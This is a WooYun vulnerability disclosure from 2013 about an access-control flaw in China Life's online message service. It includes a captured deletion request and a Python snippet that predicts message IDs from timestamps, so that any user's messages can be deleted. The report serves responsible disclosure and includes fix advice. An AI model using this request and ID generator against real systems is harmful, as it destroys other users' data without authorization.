当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034163

漏洞标题:中国人寿平衡权限+信息ID被破解导致删除任意用户数据

相关厂商:中国人寿

漏洞作者: xfkxfk

提交时间:2013-08-12 16:26

修复时间:2013-09-26 16:27

公开时间:2013-09-26 16:27

漏洞类型:未授权访问/权限绕过

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-12: 细节已通知厂商并且等待厂商处理中
2013-08-12: 厂商已经确认,细节仅向厂商公开
2013-08-22: 细节向核心白帽子及相关领域专家公开
2013-09-01: 细节向普通白帽子公开
2013-09-11: 细节向实习白帽子公开
2013-09-26: 细节向公众公开

简要描述:

中国人寿某处平衡权限,加上信息ID被破解,构造ID并遍历后,导致可以删除任意用户数据。

详细说明:

这里我们拿两个用户进行测试。
先看看用户[email protected]的留言信息,留言ID:137627320480720130812100644:

1.png


然后再来看看用户[email protected]的留言信息,留言ID:137627318119420130812100621:

2.png


下面我们先来删除用户[email protected]的留言信息,留言ID:137627318119420130812100621,然后我们抓个包看看,请求的参数有哪些:

POST /serviceonline/self-service/zaixianliuyan/deleteInfo.jsp HTTP/1.1
Host: www.e-chinalife.com
Proxy-Connection: keep-alive
Content-Length: 65
Accept: */*
Origin: http://www.e-chinalife.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.e-chinalife.com/serviceonline/self-service/zaixianliuyan/consultation_login.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: eservice=xTbZSL7L8Vw4g**************************RvlmsX6dPdGD!-546834120
ecno=1376271645658&serviceid=137627318119420130812100621&status=1


这里有ecno和serviceid两个主要的参数:

3.png


这里的ecno参数可以不要,只是为了区分那个地区的,我主要的参数是serviceid,下面分析一下这留言信息serviceid的构造:
他是由27个数字组成,前13个是时间戳,后14个这个时间戳的年月日时分秒格式的时间。所以,只要我们遍历一下时间戳id,然后利用下面代码构造出这个serviceid就ok了。

import time
id='1376273204807'
tmp_time = float(id[0:10] + '.' + id[10:])
date = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(tmp_time))
date_str = date[0:4]+date[5:7]+date[8:10]+str(int(date[11:13])+8)+date[14:16]+date[17:]
serviceid = id + date_str
print "serviceid=%s" % serviceid


通过上面分析,我们在删除留言信息时,抓包,把ecno参数删掉,把serviceid参数的值换成用户[email protected]的留言信息,留言ID:137627320480720130812100644:

4.png


然后确定删除:

4-1.png


4-2.png


最后用户[email protected]的留言信息,留言ID:137627320480720130812100644的留言就被删掉了。
看看是否删除成功:

5.png


用户[email protected]的留言信息,留言ID:137627320480720130812100644被删除。

6.png


原本用户[email protected]的留言信息,留言ID:137627318119420130812100621依然在,没有删除。
这样我们只要遍历时间戳(time.time()),利用上面代码构造serviceid,就能删除所有用户的留言信息。

漏洞证明:

见详细说明

修复方案:

控制权限,用户只能删除自己的留言信息。
留言信息ID不可逆,不要被破解出来,导致操作全部信息。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-12 17:39

厂商回复:

非常感谢您对中国人寿信息安全的帮助,谢谢。

最新状态:

暂无